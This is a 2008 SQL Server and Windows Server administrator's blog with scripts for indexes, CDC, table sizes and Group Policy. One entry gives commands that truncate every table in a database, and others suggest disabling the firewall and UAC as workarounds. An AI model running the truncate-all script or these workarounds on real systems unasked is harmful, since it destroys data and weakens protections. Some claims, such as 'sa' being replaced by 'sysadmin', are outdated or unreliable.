Tuesday, 30 December 2008

2008

4 months ago, I changed Job, seeking more a role with more sql development rather than focusing on administration. The dba role is interpreted very differently by smaller companies and as I wanted a more challenging environment I moved on.

Although real development project work is only in the planning stage, I've achieved a lot since September -

Fixing the obvious -
  1. Implementing Backups (that's right, there were none!)
  2. Addressing Index Fragmentation with scripts.
  3. Fixing massive file fragmentation of live databases (damn that autogrowth setting)
Virtualisation -
  1. Getting to grips with virtualisation in a production environment.
  2. Virtualised SQL Server 2005 on Microsoft’s Hyper-V platform.
Networking -
  1. Building my own 13 VM network for the datawarehouse on 4 physical hosts.
  2. Building a Windows 2008 domain. 
  3. Fun with Group Policy (controlling RDP, Windows Firewall, Windows Updates).
  4. Implementing VAMT for Product Activation, Windows Updates and firewalls.
Development -
  1. Rewriting worst performing front end sql queries in parameterised stored procedures.
  2. Improving indexes using the Database Tuning Advisor.
  3. Reviewed existing systems.
Existing systems -

The core product database has suffered from being developed quickly by 1 person.
It's major faults are >
  1. Passwords stored in PHP code. - Not an easily configurable location, code not portable.
  2. Application code granted excess permissions - This is due to TRUNCATE present in code.
  3. Import and Reporting systems sharing the same server.
    Statistics show disk activity is 99% write, 1% read.
  4. Cross db ownership - Live code accesses both application and import database using 3 part object naming i.e. db_name.schema_name.object_name.
  5. Nested views! - Views that are built from views, that are built from views etc...  (Inefficient , difficult to debug, difficult to optimize).
  6. Adhoc queries - SELECT statements embedded in php code where stored procedures would increase simplicity (for web developer), ensure query parameterization (for performance) and increase security (reduce chances of an injection attack),
  7. Poor table design - Many tables have lots of columns. Databases badly need some normalization.

    Tuesday, 23 December 2008

    SQL 2005 : Index Performance

    Index Types from Fastest > Slowest

    [1] Non-Clustered Covering with Included non-key columns
    [2] Non-Clustered Covering
    [3] Clustered
    [4] Non Clustered Non Covering
    [5] No Index

    therefore, for a Non-Clustered Index with Included non-Key columns >

    CREATE INDEX nci_IndexName
    ON TABLE (keycolumn_1,keycolumn_2)
    INCLUDE (nonkeycolumn_1,nonkeycolumn_2)

    SQL Query : Logical Processing Phases

    (8) SELECT (9) DISTINCT (11) TOP [column list]
    (1) FROM [table_1]
    (3) [join_type] JOIN [table_2]
    (2) ON [condition]
    (4) WHERE [condition]
    (5) GROUP BY [column list]
    (6) WITH [CUBE | ROLLUP]
    (7) HAVING [condition]
    (10) ORDER BY [column list]
    

    Sunday, 21 December 2008

    Using Missing Indexes DMVs to generate index suggestions

    I came across this today.
    It uses the missing_indexes dmvs to recommend where indexes could be added.
    Have modified it to include the table schema.
    SELECT     'CREATE NONCLUSTERED INDEX NewNameHere ON ' + sys.schemas.name + '.' + sys.objects.name + ' ( ' + mid.equality_columns + CASE WHEN mid.inequality_columns IS NULL
    THEN '' ELSE CASE WHEN mid.equality_columns IS NULL 
    THEN '' ELSE ',' END + mid.inequality_columns END + ' ) ' + CASE WHEN mid.included_columns IS NULL 
    THEN '' ELSE 'INCLUDE (' + mid.included_columns + ')' END + ';' AS CreateIndexStatement, mid.equality_columns, mid.inequality_columns, 
    mid.included_columns
    FROM         sys.dm_db_missing_index_group_stats AS migs 
    INNER JOIN   sys.dm_db_missing_index_groups AS mig ON migs.group_handle = mig.index_group_handle 
    INNER JOIN   sys.dm_db_missing_index_details AS mid ON mig.index_handle = mid.index_handle 
    INNER JOIN   sys.objects WITH (nolock) ON mid.object_id = sys.objects.object_id
    INNER JOIN   sys.schemas ON sys.objects.schema_id = sys.schemas.schema_id 
    WHERE     (migs.group_handle IN
    (SELECT     TOP 100 PERCENT group_handle
    FROM          sys.dm_db_missing_index_group_stats WITH (nolock)
    ORDER BY (avg_total_user_cost * avg_user_impact) * (user_seeks + user_scans) DESC))
    AND sys.objects.type = 'U'
    


    Original Piece


    MSDN : Using Missing Index Information to Write CREATE INDEX Statements



    Brian Knight's blog on the Missing Index DMV

    Saturday, 20 December 2008

    Log file reuse Problem

    " Date 20/12/2008 17:30:19
    Log SQL Server (Current - 20/12/2009 00:00:00)

    Source spid62

    Message 'ImportSystem' is full. To find out why space in the log cannot be reused, see the log_reuse_wait_desc column in sys.databases"

    Simple one this, the error tells you exactly what to do...

    select log_reuse_wait_desc, * from sys.databases

    The log file cannot be reused due to an Active Transaction.

    Tuesday, 16 December 2008

    SQL 2005 : SP3

    SP3 for SQL 2005 is out.

    Beware if you've already applied CU10 / CU11 though, as SP3 is based on CU9!
    You'll need to run CU1 for SQL 2005 SP3 therefore!

    Saturday, 13 December 2008

    Windows 2008 RDP Session gets stuck 'Preparing Desktop'

    Couldn't find the answer to this anywhere.
    It turned out that installing applications whilst 'User Account Control' was enabled had interfered with the desktop profiles.
    Have temporarily disabled UAC to get round the situation. Not ideal, but theres a solution for anyone else encountering the problem...

    Monday, 8 December 2008

    SSIS : Package Execution

    Command line package execution -
    DTEXEC.EXE /F "D:\SSISDeployment\SSISPackage.dtsx"

    BIDs -
    F5 - Run Package in OS (without screen display)

    Update Group Policy immediately

    C:\> GPUPDATE /FORCE

    Run this from the command prompt on client machines to overide the default GP refresh period i.e. have Group Policy applied straight away.

    Sunday, 7 December 2008

    Windows 2008 Firewall Rules for SQL Server (via Group Policy)

    Configuring Windows 2008 Firewall for SQL Server

    1) Launch Group Policy and navigate to >
    Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security
    2) Right Click on Inbound rules , click 'New Rule'
    3) Select 'Port Rule', Click 'Next'
    4) Select 'TCP' and enter specific ports ' 1433, 1434 ' (comma separated). Click 'Next'.
    5) Select 'Allow the connection' Click 'Next'.
    6) Use tick boxes to restrict the view via profile. (Domain/Private/Public). Click 'Next'
    7) Provide a name and optionally a description for Rule. Click 'Finish'.

    Repeat the above for Outbound Rule too.
    You may need to open other ports too, see SQL Server Default Ports

    NOTE : Remember to run GPUPDATE /FORCE on client machines to overide the default GP refresh period.

    Friday, 5 December 2008

    Group Policy : Allowing RDP Access

    1) Add Users in Active Directory to a common group e.g ; 'RDP Access Group'

    2) In group policy (start > run >gpedit.msc) navigate to >
    Computer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment.

    3) Add 'RDP Access Group' to the 'Allow log on through Terminal Services group' setting.

    4) Add 'RDP Access Group' to the 'Allow log on locally' policy too.

    5) Run GPUPDATE to force the policy to take effect to test.

    Thursday, 4 December 2008

    SQL DateTime > Unix Timestamp

    I was blissfully ignorant of UNIX timestamps until a colleague needed to fetch datetime data from one of my servers.

    Basically, its just the offset since a given epoch (1st Jan 1970) in seconds.

    Returning a Unix timestamp from a SQL Date >
    SELECT DATEDIFF(s, '19700101', GETDATE()) 
    


    Returning a SQL Date from a Unix timestamp >
    SELECT DATEADD(s,1228348800, '19700101') 
    


    Unix timestamp

    Wednesday, 3 December 2008

    Moving deployed SSIS packages into folders

    Moving deployed SSIS packages into folders ...

    from command prompt >

    dtutil /SQL "LoadDataPackage" /SourceServer SQL-LIVE-01 /MOVE SQL;"/PackageFolder/LoadDataPackage" /DestServer SQL-LIVE-01

    Monday, 1 December 2008

    SQL 2008 CU2

    This one slipped in without me noticing!

    CU2 for SQL 2008 is out...

    http://support.microsoft.com/default.aspx/kb/958186/en-us

    SQL Restart without a restart...

    I blogged last year on clearing sql servers' various memory caches, useful for testing code.
    I read this today and it turns out that what i'm achieving here is restarting the server without restarting (if you follow).

    Those commands again ...

    -- To clear the procedure cache
    DBCC FREEPROCCACHE

    -- To clear the data cache
    DBCC DROPCLEANBUFFERS

    Sunday, 23 November 2008

    2008 Group Policy control if not on a domain controller

    Group Policy is available by default on servers with the active directory role (typically domain controllers).
    What if you want to control it from another machine however?

    The Group Policy Management Console can be added to your windows 2008 server from Server Manager where it is a 'feature' (everything is either a 'role' or a 'feature' nowadays).

    To install >
    1) Launch Server Manger
    2) In the Features pane, click 'Add Features'
    3) Select 'Group Policy Management' followed by 'Install'
    4) Run gpmc.msc to launch Group Policy Management Console or navigate to it in Server Manager.

    http://www.vista123.net/content/installing-gpmc-windows-server-2008-and-windows-vista-service-pack-1

    Thursday, 20 November 2008

    Activating / Deactivating Windows Firewall via Group Policy

    How to deactivate Windows Firewall via Windows 2008 Group Policy >

    (Needed to do this temporarily for Windows activation from VAMT server)


    Path : Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile

    Property : Windows Firewall : Protect all network connections

    Windows 2008 Activation with VAMT

    Had 'fun' with VAMT today (Volume Activation Management Tool) activating Windows 2008 instances.

    The bottom line is that the VAMT tool (like the activation process itself) DOESNT support proxy authentication.

    It also doesn't get through Windows firewall (turned this temporarily off in Group Policy) to activate them.

    If you find licences slipping away before you can activate them, a temporary fix is to 'rearm' them. Execute ' slmgr.vbs /rearm ' to do this.


    Proxy authentication error was as follows >

    Unexpected Error
    ----------------
    An unexpected error has occurred
    The following information was found for this error:
    Code: 0x8004FE33
    Description: Unable to find a detailed error description.
    The facility code is: ITF (0x04)
    Facility error: 0xFE33 (65075L)

    Sources :
    http://social.technet.microsoft.com/Forums/en-US/winserversetup/thread/48ba05f1-601f-4095-9c66-e4b7024c903b/

    http://social.technet.microsoft.com/Forums/en-US/winserversetup/thread/783ac1da-4411-4e7d-9da1-e6ab87be80c2/

    SAC (Surface Area Configuration) gone in SQL 2008

    The Surface Area Configuration tool introduced in SQL 2005 has already been deprecated and doesnt make it into SQL 2008.

    http://sqlblog.com/blogs/denis_gobo/archive/2007/11/20/3441.aspx

    Wednesday, 19 November 2008

    Windows 2008 GPT Support

    Use DISKPART tool convert disks from MBR to GPT so that a single partition can be larger than 2TB.

    C:\> DISKPART

    DISKPART> list

    Microsoft DiskPart version 6.0.6001

    DISK - Display a list of disks.
    PARTITION - Display a list of partitions on the selected disk.
    VOLUME - Display a list of volumes.


    DISKPART> list disk

    Disk ### Status Size Free Dyn Gpt
    -------- ---------- ------- ------- --- ---
    Disk 0 Online 136 GB 0 B
    * Disk 1 Online 4655 GB 2048 GB


    DISKPART> select disk 1

    Disk 1 is now the selected disk.


    DISKPART> convert

    Microsoft DiskPart version 6.0.6001

    BASIC - Convert a disk from dynamic to basic.
    DYNAMIC - Convert a disk from basic to dynamic.
    GPT - Convert a disk from MBR to GPT.
    MBR - Convert a disk from GPT to MBR.


    DISKPART> convert gpt

    DiskPart successfully converted the selected disk to GPT format.


    http://www.techotopia.com/index.php/Adding_New_GPT_and_MBR_Disks_to_Windows_Server_2008_Systems

    Monday, 17 November 2008

    First Look... SQL 2008 : CDC - Change Data Capture

    Playing with SQL 2008's CDC - Change Data Capture with the AdventureWorks 2008 database.

    CDC has excellent potential in load systems e.g. for data warehousing etc.
    It can be used to capture changes on tables or just columns.

    exec sys.sp_cdc_enable_table
    [ @source_schema = ] 'source_schema',
    [ @source_name = ] 'source_name' ,
    [ @role_name = ] 'role_name'
    [,[ @capture_instance = ] 'capture_instance' ]
    [,[ @supports_net_changes = ] supports_net_changes ]
    [,[ @index_name = ] 'index_name' ]
    [,[ @captured_column_list = ] 'captured_column_list' ]
    [,[ @filegroup_name = ] 'filegroup_name' ]
    [,[ @partition_switch = ] 'partition_switch' ]

    USE [AdventureWorks2008]
    GO
    
    -- create a test table
    CREATE TABLE [HumanResources].[Employee_Sync](
    [BusinessEntityID] [int] NOT NULL,
    [NationalIDNumber] [nvarchar](15) NOT NULL,
    [LoginID] [nvarchar](256) NOT NULL,
    [OrganizationNode] [hierarchyid] NULL,
    [OrganizationLevel]  AS ([OrganizationNode].[GetLevel]()),
    [JobTitle] [nvarchar](50) NOT NULL,
    [BirthDate] [date] NOT NULL,
    [MaritalStatus] [nchar](1) NOT NULL,
    [Gender] [nchar](1) NOT NULL,
    [HireDate] [date] NOT NULL,
    [SalariedFlag] [dbo].[Flag] NOT NULL,
    [VacationHours] [smallint] NOT NULL,
    [SickLeaveHours] [smallint] NOT NULL,
    [CurrentFlag] [dbo].[Flag] NOT NULL,
    [ModifiedDate] [datetime] NOT NULL)
    
    GO
    
    -- Enable CDC on the current database
    exec sys.sp_cdc_enable_db
    
    -- Check CDC has been enabled...
    select name, is_cdc_enabled from sys.databases
    
    -- Enable CDC for my test table...
    exec sys.sp_cdc_enable_table
    @source_schema = 'HumanResources',
    @source_name = 'Employee_Sync' ,
    @role_name = 'CDCRole',
    @supports_net_changes = 0
    -- note @supports_net_changes can only be set if there is a primary key set on the table
    
    -- Check CDC has been enabled on the table...
    select name, type, type_desc, is_tracked_by_cdc from sys.tables
    where is_tracked_by_cdc = 1
    
    -- Disable CDC for my test table...
    exec sys.sp_cdc_disable_table
    @source_schema = 'HumanResources',
    @source_name = 'Employee_Sync',
    @capture_instance = 'all'
    
    -- Disable CDC on the current database
    exec sys.sp_cdc_disable_db
    -- Check CDC has been disabled...
    select name, is_cdc_enabled from sys.databases
    
    INSERT INTO [HumanResources].[Employee_Sync]
    ([BusinessEntityID]
    ,[NationalIDNumber]
    ,[LoginID]
    ,[OrganizationNode]
    ,[JobTitle]
    ,[BirthDate]
    ,[MaritalStatus]
    ,[Gender]
    ,[HireDate]
    ,[SalariedFlag]
    ,[VacationHours]
    ,[SickLeaveHours]
    ,[CurrentFlag]
    ,[ModifiedDate])
    
    SELECT [BusinessEntityID]
    ,[NationalIDNumber]
    ,[LoginID]
    ,[OrganizationNode]
    ,[JobTitle]
    ,[BirthDate]
    ,[MaritalStatus]
    ,[Gender]
    ,[HireDate]
    ,[SalariedFlag]
    ,[VacationHours]
    ,[SickLeaveHours]
    ,[CurrentFlag]
    ,[ModifiedDate]
    FROM [AdventureWorks2008].[HumanResources].[Employee]
    
    -- delete 50 rows
    SET ROWCOUNT 50
    DELETE FROM [HumanResources].[Employee_Sync]
    SET ROWCOUNT 0
    
    -- CDC utilises the sql transaction log. The 'log sequence number' or LSN identifies transactions in the log.
    -- You query the changes in CDC via LSNs.
    declare @startLSN binary(10), @endLSN binary(10)
    -- get the first LSN for table changes
    select @startLSN = sys.fn_cdc_get_min_lsn('HumanResources_Employee_Sync')
    -- get the last LSN for table changes
    select @endLSN = sys.fn_cdc_get_max_lsn()
    
    -- get net changes; group changes in the range by the pk
    -- get individual changes in the range
    select * from cdc.fn_cdc_get_all_changes_HumanResources_Employee_Sync(@startLSN, @endLSN, 'all');
    
    -- if had set '@supports_net_changes' to 1, then this function works...
    --select * from cdc.fn_cdc_get_net_changes_HumanResources_EmployeeSync(@startLSN, @endLSN, 'all');
    

    Good summary of CDC objects >
    http://weblogs.sqlteam.com/derekc/archive/2008/01/28/60469.aspx

    Friday, 14 November 2008

    Table Sizes Script

    if object_id('tempdb..#tempTableList') is not null  
    drop table #tempTableList  
    if object_id('tempdb..#tempresults') is not null  
    drop table #tempresults  
    
    DECLARE @totalrows INT
    DECLARE @currentrow INT
    DECLARE @currenttable NVARCHAR(255)
    CREATE TABLE #tempTableList 
    ([id]         INT   IDENTITY(1,1),  
    [schemaname] NVARCHAR(128),
    [tablename]  NVARCHAR(128),
    [row_count]    BIGINT,
    [kb_reserved]   BIGINT,
    [kb_data]    BIGINT,
    [kb_index_size] BIGINT,
    [kb_unused]   BIGINT) 
    
    CREATE TABLE #tempresults (
    [tablename]  NVARCHAR(128),
    [row_count]    CHAR(11),
    [kb_reserved]   VARCHAR(18),
    [kb_data]    VARCHAR(18),
    [kb_index_size] VARCHAR(18),
    [kb_unused]   VARCHAR(18)) 
    
    INSERT INTO #tempTableList ([schemaname], [tablename])
    SELECT SCHEMA_NAME(O.SCHEMA_ID)  AS TABLE_SCHEMA,  
    OBJECT_NAME(O.OBJECT_ID)  AS TABLE_NAME
    FROM   SYS.TABLES O 
    
    SELECT @totalrows = COUNT(*) FROM #tempTableList
    SELECT @currentrow = 1
    
    WHILE @currentrow <= @totalrows  
    BEGIN  
    DELETE #tempresults
    SELECT @currenttable = [schemaname] + '.' + [tablename] FROM #tempTableList WHERE [id] = @currentrow
    INSERT #tempresults EXEC sp_spaceused @currenttable
    UPDATE #tempTableList
    SET  [row_count]   = CAST(#tempresults.[row_count] AS BIGINT)
    ,[kb_reserved]  = CAST(REPLACE(#tempresults.[kb_reserved],' kb','') AS BIGINT)
    ,[kb_data]   = CAST(REPLACE(#tempresults.[kb_data],' kb','') AS BIGINT)
    ,[kb_index_size] = CAST(REPLACE(#tempresults.[kb_index_size],' kb','') AS BIGINT)
    ,[kb_unused]  = CAST(REPLACE(#tempresults.[kb_unused],' kb','') AS BIGINT)
    FROM #tempTableList
    INNER JOIN #tempresults ON #tempTableList.[tablename] = #tempresults.[tablename]
    
    SET @currentrow = @currentrow + 1  
    END  
    SELECT * FROM #tempTableList
    ORDER BY [schemaname],[tablename]
    

    Wednesday, 12 November 2008

    Firefox Proxy Authentication

    Wanting to (legitimately) use Firefox on a work server (to download a batch of training videos via the 'DownThemAll' plugin if you must know...) I found it to repeatedly request proxy authentication presenting me with the username/password prompt for each object on a web page.

    Rather annoying as you can imagine.

    Here is how to get round it, so A) i remember and B) it may help you out too...

    1) Type "about:config" in the address bar.
    2) Locate the "network.negotiate-auth.allow-proxies" variable
    3) Set the value to "false"

    http://forums.mozillazine.org/viewtopic.php?t=348211

    Finding the Fragmentation of an Index and fixing it

    http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/finding-fragmentation-of-an-index-and-fi

    (Does what is says on the tin really)

    Tuesday, 11 November 2008

    Hyper-V VM : Removing Hidden Network Adapter!

    "The IP address 10.0.20.31 you have entered for this network adapter is already assigned to another adapter 'Microsoft Virtual Machine Bus Network Adapter #2' 'Microsoft Virtual Machine Bus Network Adapter #2' is hidden from the Network Connections folder because it is not physically in the computer. If the same address is assigned to both adapters and they both become active, only one of them will use this address. This may result in incorrect system configuration. Do you want to enter a different IP address for this adapater in the list of IP addreses in the Advanced dialog box?"

    By changing the virtual network on the Hyper-V host, I have managed to create a ghost network adapter in my hyper-v VM!

    To see the hidden adapter >

    1. launch command prompt - start > run > cmd [enter]
    2. type set devmgr_show_nonpresent_devices=1 [enter]
    3. type start devmgmt.msc [enter]
    4. from menu bar select 'View' drop down and select 'Show hidden devices'

    To remove the (now visible) adapter >

    1. locate the adapter in device manager under 'network adapters'
    2. right-click it and select 'uninstall device'
    3. reboot

    http://blog.mpecsinc.ca/2008/02/sbs-shadowprotect-some-hardware.html

    Random Number TSQL

    SELECT ABS(CHECKSUM(NEWID())) 
    

    Sunday, 9 November 2008

    Hyper-V Annoyances : Reactivation

    When you move a VM across hosts, if it NICs are named differently then installing a new virtual nic in a VM is seen as a hardware change.

    This in turn means that the virtual OS needs reactivation. :/

    Friday, 7 November 2008

    Thursday, 6 November 2008

    Failed to add device Microsoft Synthetic Ethernet Port ...

    Tried to start a VM from another server and got the following error.

    " Failed to add device Microsoft Synthetic Ethernet Port ... "


    The server has MS Forefront Client Security AV onto the server, hence need to set exclusions for the VM files

    This chap found the solution...

    http://joshrobi.blogspot.com/2008/06/how-to-fix-hyper-v-error-failed-to-add.html

    Wednesday, 5 November 2008

    Controlling Group Policy Update Frequency

    Changing the update frequency of group policy, i.e. how quickly a policy is applied...


    Path : Computer Configuration > Policies > Administrative Templates > System > Group Policy

    Properties :

    Group Policy refresh interval for computers
    Group Policy refresh interval for domain controllers

    Group policy updates can be forced instantly by typing 'gpupdate' at a command prompt / run box.

    Tuesday, 4 November 2008

    Enabling Network Map via Group Policy

    How to enable the Network Map via Group Policy >


    Path : Computer Configuration > Administrative Templates > Network > Link-Layer Topology Discovery

    Properties :
    Turn on Mapper I/O (LLTDIO driver
    Turn on Responder (RSPNDR) driver

    Enable these to allow machines to discover and 'be discovered' by LLTD.

    Monday, 3 November 2008

    Sunday, 2 November 2008

    Clearing all tables via Truncate

    Deleting data in all tables (providing constraints don't stop you)

    Use with care!!!

    Version 1 : Generate sql to do this
    SELECT 'TRUNCATE TABLE [' +table_schema + '].[' + TABLE_NAME +']'
    FROM INFORMATION_SCHEMA.TABLES
    WHERE TABLE_TYPE = 'BASE_TABLE'
    ORDER BY 1
    

    Version 2: Perform the truncates directly
    EXECUTE sp_MSforeachtable 'TRUNCATE TABLE ?;'  
    


    NB :You could use these in conjunction with Disable all Foreign Keys and Triggers or the techniques I employ in Empty database script

    Thursday, 30 October 2008

    Reporting Services 2008 : Invalid Namespace

    Got the following error, when trying to connect to my new Reporting Services 2008 build.

    " No Report Servers were found.

    Details : Invalid Namespace "

    Fortunately, Justin King has already solved it for us, and has an really easy to follow guide to resolving this issue here >

    http://www.kingjustin.com/post/2008/08/Reporting-Services-2008-Invalid-Namespace.aspx

    ( Thank you, Justin ! )

    Monday, 27 October 2008

    Outlook 2007 speedup

    The Addins enabled by default in Lookout 2007 hamper it's performance somewhat.

    You can achieve a fair performance boost, by >

    1) Open Outlook as Administrator (right-click icon, 'run as administrator' if you're not an admin already)

    2) Navigate to Tools > Trust Center > Addins

    3) Click 'go' (to the right of 'COM Addins' at the bottom of the screen).

    4) Untick anything you don't need.



    Sunday, 26 October 2008

    System Center Virtual Machine Manager 2008

    RTM is released. Now just have to wait for the MSDN discs :)

    http://msdnrss.thecoderblogs.com/2008/10/21/system-center-virtual-machine-manager-2008-has-rtmed/

    http://www.microsoft.com/systemcenter/scvmm/downloadbeta.mspx

    Thursday, 23 October 2008

    Recommended : Notepad++

    Notepad++. A FREE notepad replacement.

    http://notepad-plus.sourceforge.net/uk/site.htm

    Am using it instead of ultraedit now...

    SQL 2008 : Enable TCP/IP

    After installing, we need to enable TCP/IP so external machines can access SQL...

    1. run SQL Server Configuration manager

    2. select SQL Server Network Configuration

    3. select Protocols for 'instancename'

    4. right click on TCP/IP and select 'enable'

    Wednesday, 22 October 2008

    SysPrep

    Generates a new random SID (security ID), unique to the image / VM.

    Start > Run > Sysprep [Enter]


    If you forget to do this in preparing your VMs, you'll need NewSid.

    Sunday, 19 October 2008

    Enabling Remote Desktop Users

    via Advanced User Management.

    Put them in this group to avoid granting Admin permissions unnecessarily...

    Friday, 17 October 2008

    Index Usage in current db

    Use this to review index usage >

    SELECT object_name(object_id), *
    FROM sys.dm_db_index_usage_stats
    WHERE object_id > 100
    AND database_id = db_id()

    Saturday, 11 October 2008

    SQL 2008 : Security

    Note: In sql 2008, the ’sa’ login has been replaced by ’sysadmin’

    The 'sa' still exists but is to be deprecated, i.e. will not be there in future versions.

    Friday, 10 October 2008

    Networking Basics - Network Clients

    Installing the Hyper-V role seems to make Windows 2008 a little forgetful at times about it's network settings. On a couple of occasions I've returned to my NIC configuration to find network settings missing.

    If you cannot connect to a server, check it has 'File and Printer Sharing' enabled as below >


    If your server cannot see others on the network, check 'Client for Microsoft Networks' is enabled.

    Tuesday, 7 October 2008

    SQL 2008 on Hyper-V : Whitepaper

    Whitepaper released 2 days ago. Performance looking very promising...

    http://download.microsoft.com/download/d/9/4/d948f981-926e-40fa-a026-5bfcf076d9b9/SQL2008inHyperV2008.docx

    Currently not linked from the main whitepapers page for some reason >

    http://www.microsoft.com/sqlserver/2008/en/us/white-papers.aspx

    Setup has detected a canonical discretionary access control list (DACL) on directory...

    Got this error today during SQL 2008 install...



    " Setup has detected a canonical discretionary access control list (DACL) on directory... "

    Got round this by >

    Adding 'Domain\Sql Service Accounts' (a domain group containing my 5 service accounts) to have full rights on c:\program files\microsoft sql server (& all subdirectories)

    Monday, 6 October 2008

    Syscacheobjects (Sql query plan reuse)

    Viewing the contents of the Sql cache (and how many times plans have been reused).

    select cacheobjtype, refcounts, usecounts, sql FROM master.dbo.Syscacheobjects

    Thursday, 2 October 2008

    Dirty Reads - The NOLOCK hint

    I googled ‘read uncommitted speed’ and followed a link for ‘dirty reads’ (database terminology for viewing uncommitted transactions).
    Suffice to say, the page went somewhere i didn’t intend to go!

    Anyway, enough waffling, what are Dirty Reads?

    "a dirty read is where a query reads data from the database without lock protection. Without lock protection, you cannot be guaranteed that the data isn’t changing during the time that the query is running"

    To perform 'Dirty Reads' in a query >
    Use the WITH (NOLOCK) table hint after each table involved in the query.
    eg;

    SELECT * FROM Table1 WITH (NOLOCK)
    INNER JOIN Table2 WITH (NOLOCK)
    ON Table1.PK = Table2.FK

    To set 'Dirty Reads' as default read type for the connection, use >

    SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED

    This latter, connection level delaration is especially useful for reporting systems.
    http://blogs.neudesic.com/blogs/phil_scott/archive/2005/12/05/11.aspx
    http://www.databasejournal.com/features/mssql/article.php/3553281/Controlling-Transactions-and-Locks-in-SQL-2000-and-2005---Part-3.htm

    PS : If I show up in the proxy logs, it wasn’t intentional!

    Wednesday, 1 October 2008

    Reorganize / Rebuild a single index

    Reorganizing an index physically reorders the leaf nodes of an index >
    ALTER INDEX indexname ON schema.table REORGANIZE
    


    Rebuilding an index drops an index and recreates it >
    ALTER INDEX indexname ON schema.table REBUILD
    

    Rebuilding is more resource intensive.

    If you're using a version that supports it (Developer/Enterprise), rebuilds can be done ONLINE.
    ALTER INDEX indexname ON schema.table REBUILD WITH(ONLINE = ON)
    

    Monday, 29 September 2008

    SQL 2008 : Multi Server Queries

    Management Studio in SQL 2008 introduces Multi Server Queries :)
    When enabled, you can run the same SQL against multiple servers simultaneously and receive the results in a single window.
    It's a feature third party tools have had for a while.
    Cool, but somewhat dangerous too...

    http://www.sqlservercentral.com/articles/SQL+Server+Management+Studio/63650/

    Wednesday, 24 September 2008

    Vista Volume (or lack of...)

    Where's my volume icon gone?
    Why is my powersave icon suddenly visible even when the laptop is plugged in?

    This chap has some solutions >

    http://winhlp.com/node/16

    It's a long , detailed article which lists several solutions. If you find your system icons missing, here's the quick fix >

    1. Search registry and delete all “IconStreams” and “PastIconStreams” entries (searching for the former, will find the latter.
    2. Restart Windoze
    3. Add them again (task bar properties, notification area > tick the boxes!)

    SQL 2008 CU1 Released

    http://support.microsoft.com/kb/956717/

    CU1 (or cummulative update 1) is out already for SQL 2008.
    CU releases havent replaced service packs, but are a lot more regular if SQL 2005 updates were anything to go by.

    Tuesday, 23 September 2008

    Common Table Expressions : MAXRECURSION

    I was looking today to generate a sequential list of dates as quickly as possible.

    The fastest solution to the problem seemed to involve a common table expression (CTE) in sql 2005.


    CREATE FUNCTION GenerateDates(@startdate DATETIME, @enddate DATETIME)
    RETURNS TABLE
    AS
    RETURN
    (
    WITH DatesCTE(CurrentDate) AS
    (
    SELECT @startdate as CurrentDate
    UNION ALL
    SELECT DATEADD(day,1,CurrentDate)
    FROM DatesCTE
    WHERE CurrentDate < @enddate

    )
    SELECT CurrentDate FROM DatesCTE
    );


    Excellent execution time, but there is a downfall. The function cannot cope with providing a list of more than 100 dates.

    Msg 530, Level 16, State 1, Line 2
    The statement terminated. The maximum recursion 100 has been exhausted before statement completion.

    This is because the defalt recursion level for a CTE is 100.

    Normally the recursion level can be specified manually to get round this using OPTION (MAXRECURSION limit) where limit is a value from 10 to 32767, or 0 for unlimited recursion.

    Setting the recursion level with OPTION (MAXRECURSION limit) is NOT SUPPORTED inside user defined functions and views.

    Not as tidy as using a function, but we can do with a stored procedure >


    CREATE PROCEDURE dbo.usp_GenerateDates
    @startdate DATETIME ,@enddate DATETIME
    AS
    BEGIN
    ;WITH DatesCTE(CurrentDate) AS
    (
    SELECT @startdate AS CurrentDate
    UNION ALL
    SELECT DATEADD(day,1,CurrentDate)
    FROM DatesCTE
    WHERE CurrentDate < @enddate
    )

    SELECT CurrentDate FROM DatesCTE
    OPTION (MAXRECURSION 0)
    END
    GO


    We can put the output of the procedure into a temporary table like this >


    IF EXISTS (SELECT * FROM tempdb..sysobjects WHERE name LIKE '#tblDateList%')
    DROP TABLE #tblDateList

    CREATE TABLE #tblDateList
    ( [Date] DATETIME NOT NULL,
    CONSTRAINT [PK_#tblDateList] PRIMARY KEY CLUSTERED ([Date] ASC)
    ) ON [PRIMARY]

    DECLARE @startdate DATETIME
    DECLARE @enddate DATETIME

    SET @enddate = CAST(FLOOR(CAST(getdate() AS FLOAT)) AS DATETIME)
    SET @startdate = DATEADD(DAY,-100,@enddate)

    INSERT INTO #tblDateList
    EXECUTE dbo.usp_GenerateDates
    @startdate = @startdate
    ,@enddate = @enddate

    Saturday, 20 September 2008

    Disk System Pressure

    Woah!!!!! This sql instance is really struggling with I/O >


    The steps I took to rectify this were >
    1) File Defragmentation (well I moved the files off and back on to the disk as it was quicker)
    2) Data Defragmentation (implemented a deframentation job & scheduled it)
    3) Moved tempdb to a separate physical disk

    Friday, 19 September 2008

    Performance Impact of Enabling Page Checksum and Default Trace

    Whilst hunting options to squeeze every last drop out of a life out of an SQL instance, i toyed with the idea of disabling the database 'Page Checksum' and 'Default Trace' options.

    The full article is linked below, but the upshot is that there is almost negligable performance decrease.

    http://sqlblog.com/blogs/linchi_shea/archive/2007/01/16/performance-impact-of-enabling-page-checksum-and-default-trace.aspx

    Wednesday, 17 September 2008

    Forced Parameterization

    SQL Server's query optimizer can make use of cached plans if a query is submitted that already has one.
    The random nature of adhoc SQL against a database makes it difficult to reuse a plan however as similar adhoc tsql queries just dont look the same.
    Turning Parameterization to 'forced' tries to improve this and alledgedly makes a difference for high volume systems.
    Am currently trialing it out...

    -- change parameterization to 'forced'
    ALTER DATABASE databasename SET PARAMETERIZATION FORCED
    GO

    -- reverse the setting
    ALTER DATABASE databasename SET PARAMETERIZATION Simple
    GO

    Table Row Count GEM !!!

    Use System objects to return the count of records in tables, rather than COUNT(*).

    This method is runs almost instantly but may be a little behind in terms of table statistics, i.e. the row counts may be out as statistics are not updated instantly.


    SELECT 
          SCHEMA_NAME(o.SCHEMA_ID) SchemaName
        , OBJECT_NAME(o.OBJECT_ID) TableName
        , SUM(ROWS) TableRows 
    FROM SYS.PARTITIONS p
    INNER JOIN SYS.OBJECTS o 
       ON p.object_id = o.object_id  
    WHERE INDEX_ID IN (0,1) 
    GROUP BY o.SCHEMA_ID, o.OBJECT_ID 
    ORDER BY 1,2,3


    Statistics can be updated using DBCC UPDATEUSAGE

    Link :
